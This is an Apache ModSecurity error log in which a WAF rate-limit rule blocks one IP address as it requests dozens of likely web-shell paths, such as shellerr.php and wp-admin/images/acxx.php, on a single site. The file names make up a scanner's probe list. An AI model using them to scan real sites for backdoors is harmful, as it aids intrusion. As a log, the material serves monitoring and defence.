[Wed Mar 25 15:36:25.576387 2026] [:error] [pid 26321:tid 26353] [client 158.158.96.10:64277] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acOQefKO65qqGZCSPZoQhgAAAgw"]
[Wed Mar 25 15:36:26.070092 2026] [:error] [pid 892:tid 918] [client 158.158.96.10:64312] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acOQeiT_G8WMU3T3yxqzQwAAANM"]
[Wed Mar 25 15:36:26.886924 2026] [:error] [pid 26321:tid 26361] [client 158.158.96.10:5887] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acOQevKO65qqGZCSPZoQiQAAAhQ"]
[Wed Mar 25 15:36:27.846704 2026] [:error] [pid 25969:tid 26045] [client 158.158.96.10:50713] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "acOQexd3aEUmOfdKja_vhgAAA9M"]
[Wed Mar 25 15:36:28.632404 2026] [:error] [pid 25967:tid 25995] [client 158.158.96.10:5879] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "acOQfPg8Qtq7ZM4mSFn2lQAAA1c"]
[Wed Mar 25 15:36:29.622795 2026] [:error] [pid 25967:tid 25980] [client 158.158.96.10:64318] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "acOQffg8Qtq7ZM4mSFn2mQAAA0g"]
[Wed Mar 25 15:36:30.338446 2026] [:error] [pid 25969:tid 26030] [client 158.158.96.10:5873] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "acOQfhd3aEUmOfdKja_vhwAAA8Q"]
[Wed Mar 25 15:36:31.507528 2026] [:error] [pid 25969:tid 26049] [client 158.158.96.10:5876] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/domains.php"] [unique_id "acOQfxd3aEUmOfdKja_viQAAA9c"]
[Wed Mar 25 15:36:32.057877 2026] [:error] [pid 26321:tid 26363] [client 158.158.96.10:44882] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/domains.php"] [unique_id "acOQgPKO65qqGZCSPZoQjgAAAhY"]
[Wed Mar 25 15:36:32.967662 2026] [:error] [pid 26449:tid 26455] [client 158.158.96.10:64319] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/domains.php"] [unique_id "acOQgNpZ2T15NDqzAjFU1wAAAkI"]
[Wed Mar 25 15:36:33.946531 2026] [:error] [pid 26321:tid 26360] [client 158.158.96.10:57071] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/domains.php"] [unique_id "acOQgfKO65qqGZCSPZoQkQAAAhM"]
[Wed Mar 25 15:36:34.494372 2026] [:error] [pid 47989:tid 48001] [client 158.158.96.10:41152] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "acOQgiWKdJMhIccROjlX8gAAAUo"]
[Wed Mar 25 15:36:35.033528 2026] [:error] [pid 25967:tid 25985] [client 158.158.96.10:41192] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "acOQg_g8Qtq7ZM4mSFn2mwAAA00"]
[Wed Mar 25 15:36:35.708132 2026] [:error] [pid 47946:tid 47952] [client 158.158.96.10:64271] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "acOQgzipQTqBMSeKYhdzQAAAAQQ"]
[Wed Mar 25 15:36:36.471777 2026] [:error] [pid 892:tid 921] [client 158.158.96.10:57069] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "acOQhCT_G8WMU3T3yxqzRwAAANY"]
[Wed Mar 25 15:36:38.102764 2026] [:error] [pid 47989:tid 48004] [client 158.158.96.10:5872] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "acOQhiWKdJMhIccROjlX9QAAAU0"]
[Wed Mar 25 15:36:38.868212 2026] [:error] [pid 47989:tid 47995] [client 158.158.96.10:63824] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "acOQhiWKdJMhIccROjlX9gAAAUQ"]
[Wed Mar 25 15:36:39.483800 2026] [:error] [pid 47989:tid 48015] [client 158.158.96.10:64263] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "acOQhyWKdJMhIccROjlX9wAAAVg"]
[Wed Mar 25 15:36:40.156660 2026] [:error] [pid 892:tid 917] [client 158.158.96.10:41644] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "acOQiCT_G8WMU3T3yxqzSwAAANI"]
[Wed Mar 25 15:36:40.755870 2026] [:error] [pid 892:tid 922] [client 158.158.96.10:60465] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acOQiCT_G8WMU3T3yxqzTQAAANc"]
[Wed Mar 25 15:36:41.353444 2026] [:error] [pid 25969:tid 26042] [client 158.158.96.10:64311] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acOQiRd3aEUmOfdKja_vjwAAA9A"]
[Wed Mar 25 15:36:41.957619 2026] [:error] [pid 892:tid 920] [client 158.158.96.10:59868] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acOQiST_G8WMU3T3yxqzTgAAANU"]
[Wed Mar 25 15:36:42.675177 2026] [:error] [pid 756:tid 853] [client 158.158.96.10:5977] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acOQijOaW6oylMIDBCQPeQAAAIM"]
[Wed Mar 25 15:36:43.288623 2026] [:error] [pid 26321:tid 26357] [client 158.158.96.10:62501] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sc.php"] [unique_id "acOQi_KO65qqGZCSPZoQrAAAAhA"]
[Wed Mar 25 15:36:43.968392 2026] [:error] [pid 756:tid 860] [client 158.158.96.10:57062] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sc.php"] [unique_id "acOQizOaW6oylMIDBCQPfAAAAIg"]
[Wed Mar 25 15:36:44.803831 2026] [:error] [pid 892:tid 909] [client 158.158.96.10:41212] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sc.php"] [unique_id "acOQjCT_G8WMU3T3yxqzUQAAAMs"]
[Wed Mar 25 15:36:45.718401 2026] [:error] [pid 892:tid 906] [client 158.158.96.10:63866] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sc.php"] [unique_id "acOQjST_G8WMU3T3yxqzVAAAAMg"]
[Wed Mar 25 15:36:47.112551 2026] [:error] [pid 25967:tid 25979] [client 158.158.96.10:59891] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "acOQj_g8Qtq7ZM4mSFn2nwAAA0c"]
[Wed Mar 25 15:36:47.898639 2026] [:error] [pid 25967:tid 25995] [client 158.158.96.10:41188] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "acOQj_g8Qtq7ZM4mSFn2oQAAA1c"]
[Wed Mar 25 15:36:48.806027 2026] [:error] [pid 26321:tid 26352] [client 158.158.96.10:40558] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "acOQkPKO65qqGZCSPZoQswAAAgs"]
[Wed Mar 25 15:36:51.976634 2026] [:error] [pid 47989:tid 48009] [client 158.158.96.10:63173] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "acOQkyWKdJMhIccROjlYBAAAAVI"]
[Wed Mar 25 15:36:53.006770 2026] [:error] [pid 892:tid 921] [client 158.158.96.10:5973] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyiiz.php"] [unique_id "acOQlST_G8WMU3T3yxqzVwAAANY"]
[Wed Mar 25 15:36:54.067803 2026] [:error] [pid 26269:tid 26277] [client 158.158.96.10:63838] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyiiz.php"] [unique_id "acOQlkn7e-ZQbaIs7qyk5gAAAYE"]
[Wed Mar 25 15:36:54.747901 2026] [:error] [pid 26449:tid 26476] [client 158.158.96.10:53186] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyiiz.php"] [unique_id "acOQltpZ2T15NDqzAjFU6wAAAlc"]
[Wed Mar 25 15:36:55.302696 2026] [:error] [pid 26449:tid 26469] [client 158.158.96.10:5986] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyiiz.php"] [unique_id "acOQl9pZ2T15NDqzAjFU7AAAAlA"]
[Wed Mar 25 15:36:56.182956 2026] [:error] [pid 26449:tid 26463] [client 158.158.96.10:35447] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acOQmNpZ2T15NDqzAjFU7QAAAko"]
[Wed Mar 25 15:36:56.945286 2026] [:error] [pid 25967:tid 25996] [client 158.158.96.10:41206] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acOQmPg8Qtq7ZM4mSFn2qQAAA1g"]
[Wed Mar 25 15:36:57.502593 2026] [:error] [pid 892:tid 923] [client 158.158.96.10:41653] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acOQmST_G8WMU3T3yxqzXQAAANg"]
[Wed Mar 25 15:36:58.043847 2026] [:error] [pid 25967:tid 25986] [client 158.158.96.10:63863] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acOQmvg8Qtq7ZM4mSFn2rAAAA04"]
[Wed Mar 25 15:36:58.680524 2026] [:error] [pid 25967:tid 25987] [client 158.158.96.10:45920] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gk.php"] [unique_id "acOQmvg8Qtq7ZM4mSFn2sAAAA08"]
[Wed Mar 25 15:36:59.341172 2026] [:error] [pid 25969:tid 26034] [client 158.158.96.10:50715] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gk.php"] [unique_id "acOQmxd3aEUmOfdKja_vmQAAA8g"]
[Wed Mar 25 15:37:00.218712 2026] [:error] [pid 25967:tid 25984] [client 158.158.96.10:50689] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gk.php"] [unique_id "acOQnPg8Qtq7ZM4mSFn2tQAAA0w"]
[Wed Mar 25 15:37:00.772553 2026] [:error] [pid 26321:tid 26362] [client 158.158.96.10:56633] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gk.php"] [unique_id "acOQnPKO65qqGZCSPZoQuwAAAhU"]
[Wed Mar 25 15:37:01.333797 2026] [:error] [pid 25875:tid 25897] [client 158.158.96.10:53213] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellerr.php"] [unique_id "acOQnRJ38QkS3Nyfshyw2wAAApA"]
[Wed Mar 25 15:37:01.910865 2026] [:error] [pid 26269:tid 26283] [client 158.158.96.10:56590] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellerr.php"] [unique_id "acOQnUn7e-ZQbaIs7qyk7QAAAYc"]
[Wed Mar 25 15:37:02.484460 2026] [:error] [pid 25969:tid 26047] [client 158.158.96.10:5828] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellerr.php"] [unique_id "acOQnhd3aEUmOfdKja_vnwAAA9U"]
[Wed Mar 25 15:37:03.076578 2026] [:error] [pid 26449:tid 26466] [client 158.158.96.10:41601] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shellerr.php"] [unique_id "acOQn9pZ2T15NDqzAjFU7gAAAk0"]
[Wed Mar 25 15:37:03.675147 2026] [:error] [pid 892:tid 906] [client 158.158.96.10:60441] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acOQnyT_G8WMU3T3yxqzYAAAAMg"]
[Wed Mar 25 15:37:04.887811 2026] [:error] [pid 892:tid 912] [client 158.158.96.10:60429] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acOQoCT_G8WMU3T3yxqzYwAAAM4"]
[Wed Mar 25 15:37:05.593680 2026] [:error] [pid 26449:tid 26455] [client 158.158.96.10:5864] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acOQodpZ2T15NDqzAjFU9AAAAkI"]
[Wed Mar 25 15:37:06.163596 2026] [:error] [pid 26321:tid 26341] [client 158.158.96.10:5867] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "acOQovKO65qqGZCSPZoQvAAAAgI"]
[Wed Mar 25 15:37:06.737384 2026] [:error] [pid 892:tid 896] [client 158.158.96.10:40575] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "acOQoiT_G8WMU3T3yxqzaAAAAMI"]
[Wed Mar 25 15:37:07.961715 2026] [:error] [pid 25875:tid 25882] [client 158.158.96.10:53199] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "acOQoxJ38QkS3Nyfshyw3wAAAoE"]
[Wed Mar 25 15:37:08.674317 2026] [:error] [pid 25875:tid 25889] [client 158.158.96.10:57080] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "acOQpBJ38QkS3Nyfshyw4wAAAog"]
[Wed Mar 25 15:37:09.277843 2026] [:error] [pid 25967:tid 25988] [client 158.158.96.10:62472] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "acOQpfg8Qtq7ZM4mSFn2uQAAA1A"]
[Wed Mar 25 15:37:10.287405 2026] [:error] [pid 25967:tid 25973] [client 158.158.96.10:53237] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/to.php"] [unique_id "acOQpvg8Qtq7ZM4mSFn2vAAAA0E"]
